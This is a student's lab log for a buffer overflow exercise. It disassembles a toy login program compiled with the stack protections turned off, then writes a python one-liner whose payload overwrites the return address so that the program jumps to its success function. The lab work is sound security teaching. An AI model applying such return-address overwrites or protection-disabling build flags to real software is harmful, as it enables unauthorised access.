Elisabeth Frischknecht
Buffer Lab Log

Once I received working code (Matt fixed some bugs)

- Compiled login.c with additional flags:
    - clang --target=macos-x86_64 -g -O0 -fno-stack-protector -fomit-frame-pointer -Wl,-no_pie login.c
- Tested that “test” gives a “wrong password message correctly
- Tested that “superSecretPassword” gives a correct login correctly
- Used otool -t -V to look at the assembly, and found this block that pertains to the “success” function

```
_success:
0000000100003de0        subq    $0x18, %rsp
0000000100003de4        movq    _sh(%rip), %rax
0000000100003deb        movq    %rax, (%rsp)
0000000100003def        movq    $0x0, 0x8(%rsp)
0000000100003df8        leaq    0x13d(%rip), %rdi               ## literal pool for: "successful login!\n"
0000000100003dff        callq   0x100003ef8                     ## symbol stub for: _puts
0000000100003e04        movq    _sh(%rip), %rdi
0000000100003e0b        movq    %rsp, %rsi
0000000100003e0e        movq    0x1f3(%rip), %rax               ## literal pool symbol address: _environ
0000000100003e15        movq    (%rax), %rdx
0000000100003e18        callq   0x100003ee0                     ## symbol stub for: _execve
0000000100003e1d        addq    $0x18, %rsp
0000000100003e21        retq
0000000100003e22        nopw    %cs:(%rax,%rax)
```

- So the address 0000000100003de0 corresponds to the beginning of the success function
- The at the end of the login function, there is a function call to _check_secret, which checks if we are there or not. The return function will then take us to main. To execute the buffer attack, we need to return to the “success” function instead of to main. So our stack that looks like this:
    - Main
    - 4 bytes for int
    - Login
    - 40 bytes (then subtracted to only be 24)
- We will write over the “login” address so that the return command takes us to success instead of the next line in main.
    - Since my program is looking for a 24 byte password, I will write 24 characters (‘a’), then the address of “success”
- First attempt: \x00\x00\x00\x01\x00\x00\x3d\xe0
- Second attempt: \xe0\x3d\x00\x00\x01\x00\x00\x00

My first attempt did not work because I forgot to take into account the “backwards reading” of the stack pointer. So I reversed the order of the bytes and then got a successful login.

The python code ran:

bufferLab % python3 -c 'import sys; sys.stdout.buffer.write(b"a"*24 + b"\xe0\x3d\x00\x00\x01\x00\x00\x00")' > password.txt

```
_login:
0000000100003e40        subq    $0x28, %rsp
0000000100003e44        leaq    0x114(%rip), %rdi               ## literal pool for: "password.txt"
0000000100003e4b        xorl    %esi, %esi
0000000100003e4d        movb    $0x0, %al
0000000100003e4f        callq   0x100003eec                     ## symbol stub for: _open
0000000100003e54        movl    %eax, 0xc(%rsp)
0000000100003e58        leaq    0x10d(%rip), %rdi               ## literal pool for: "enter your password:\n"
0000000100003e5f        movb    $0x0, %al
0000000100003e61        callq   0x100003ef2                     ## symbol stub for: _printf
0000000100003e66        movl    0xc(%rsp), %edi
0000000100003e6a        leaq    0x10(%rsp), %rsi
0000000100003e6f        movl    $0x3e8, %edx                    ## imm = 0x3E8
0000000100003e74        callq   0x100003efe                     ## symbol stub for: _read
0000000100003e79        movl    %eax, 0x8(%rsp)
0000000100003e7d        movl    0xc(%rsp), %edi
0000000100003e81        callq   0x100003eda                     ## symbol stub for: _close
0000000100003e86        leaq    0x10(%rsp), %rdi
0000000100003e8b        movl    0x8(%rsp), %esi
0000000100003e8f        callq   _check_secret
0000000100003e94        addq    $0x28, %rsp
0000000100003e98        retq
0000000100003e99        nopl    (%rax)
```